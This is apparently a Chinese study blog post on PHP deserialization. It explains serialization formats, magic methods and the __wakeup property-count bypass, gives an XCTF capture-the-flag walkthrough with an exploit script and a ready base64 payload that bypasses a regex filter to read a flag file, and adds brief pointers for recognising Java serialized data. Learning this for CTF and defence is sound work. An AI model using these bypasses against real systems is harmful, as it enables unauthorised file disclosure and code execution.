反序列化
S3a Lv3

反序列化

PHP 反序列化

serialize()

serialize() —> 函数用于序列化对象或数组,并返回一个字符串

1
2
3
4
5
6
7
8
9
10
11
12
<?php
Class test{
public $a= '1';
public $bb= 2;
public $ccc= True;
}

$r= new test();
echoserialize($r);

$array_t= array("a"=>"1","bb"=>"2","ccc"=>"3");
echo serialize($array_t);

O:4:”test”:3:{s:1:”a”;s:1:”1”;s:2:”bb”;i:2;s:3:”ccc”;b:1;}
a:3:

各个字符的意义 —> 第一个字母O 代表 Object,a代表 array,s代表 string,,i表示数字

image
类的属性有三种 private protected 和 public

PHP 序列化的时候 privateprotected 变量会引入不可见字符%00%00类名%00属性名 为private,%00*%00属性名 为protected,注意这两个 %00就是 ascii 码为0 的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得清楚

1
2
3
4
5
6
7
8
9
10
<?php
Class test{
private $a= "a";
protected $b= "b";
public $c= "c";
}

$r= new test();
echo serialize($r);
echo urlencode(serialize($r));

O:4:”test”:3:{s:7:”testa”;s:1:”a”;s:4:”*b”;s:1:”b”;s:1:”c”;s:1:”c”;}

O%3A4%3A%22test%22%3A3%3A%7Bs%3A7%3A%22%00test%00a%22%3Bs%3A1%3A%22a%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A1%3A%22b%22%3Bs%3A1%3A%22c%22%3Bs%3A1%3A%22c%22%3B%7D

unserialize()

unserialize() —> 函数用于将通过 serialize()函数序列化后的对象或数组进行反序列化,并返回原始的对象结构

1
2
3
4
5
6
7
<?php
$sites = array('t1', 'tt2', 'ttt3');
$serialized_data = serialize($sites);
#echo $serialized_data;
$unserialized_data = unserialize($serialized_data);
print_r($unserialized_data);
?>

Array
(
​ [0] => t1
​ [1] => tt2
​ [2] => ttt3
)

常用魔法函数

常用魔法函数 定义
__construct() 在创建对象时候初始化对象,一般用于对变量赋初值。创建一个新的类时,自动调用该方法
__destruct() 和构造函数相反,当对象所在函数调用完毕后执行.即当一个类被销毁时自动调用该方法
__toString() 当对象被当做一个字符串使用时调用。
__sleep() 当调用serialize()函数时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这就允许对象在被序列化之前做任何清除操作
__wakeup() 反序列化恢复对象之前调用该方法.当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数
__invoke() 把一个实例对象当作函数使用时自动调用
__call() 当调用对象中不存在的方法会自动调用该方法。
__get() 在调用私有属性的时候会自动执行
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发

__wakeup() bypass

在需要对__wakeup() 进行绕过的时候,可以让序列化结果中类属性的数值大于其真正的数值进行绕过,这个方式适用于PHP < 5.6.25 和 PHP< 7.0.10

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
Class User{
public $name="Bob";

function __destruct(){
echo"nameis Bob </br>";
}

function __wakeup(){
echo"exit</br>";
}
}
@var_dump(unserialize($_POST["u"]));

POST 参数O:4:”User”:1:{s:4:”name”;s:3:”Bob”;}可以看到输出是:

1
2
3
4
5
6
exit

object(User)[1]
public 'name' => string 'Bob' (length=3)

nameis Bob

如果在某些情况下,不想让__wakeup() 执行,可以将 “User”后的 2 改为一个比2 大的数字

POST 参数O:4:”User”:2:{s:4:”name”;s:3:”Bob”;}:

1
2
3
nameis Bob

booleanfalse

[XCTF]Web – Web_php_unserialize

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) { #构造函数,对类的变量进行初始化
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() { #魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) { #存在$var
$var = base64_decode($_GET['var']); #将$var base64解码并赋值$var
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

思路:主要是正则绕过和_wakeup()绕过

正则匹配:因为不能匹配O:4这种,我们可以O:+4绕过,因为在url编码中+会被转换为空格

__wakeup()绕过:让序列化结果中类属性的数值大于其真正的数值进行绕过

1
2
3
4
5
6
7
8
9
10
11
<?php
class Demo {
private $file = 'fl4g.php';
}

$a= new demo;
$b=serialize($a); //echo O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
$b=str_replace('O:4', 'O:+4',$b);//绕过preg_match
$b= str_replace(':1:', ':2:',$b);//绕过wakeup
echo base64_encode($b);
?>

得到

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

再进行get传参即可

php序列化补充

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码
执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行
反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

1
2
3
4
5
6
7
__call() 			//在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

构造函数与析构函数

  • __construct()
    具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
  • __destruct()
    析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

new出一个新的对象时就会调用__construct(),而对象被销毁时,例如程序退出时,就会调用__destruct()

序列化细节

序列化含义

例如:O:4:"user":2:{s:3:"age";i:18;s:4:"name";s:3:"LEO";}
O代表对象;4代表对象名长度;2代表2个成员变量;其余参照如下

类型 结构
String s:size:value;
Integer i:value;
Boolean b:value;(保存1或0)
Null N;
Array a:size:
Object O:strlen(object name):object name:object size:

public、protected、private下序列化对象的区别

php v7.x反序列化的时候对访问类别不敏感

  • public变量
    直接变量名反序列化出来
  • protected变量
    \x00 + * + \x00 + 变量名
    可以用S:5:"\00*\00op"来代替s:5:"?*?op"
  • private变量
    \x00 + 类名 + \x00 + 变量名

JAVA反序列化

下方的特征可以作为序列化的标志参考:

  • 一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。

  • 或者如果以aced开头,那么他就是这一段java序列化的16进制

 Comments
Comment plugin failed to load
Loading comment plugin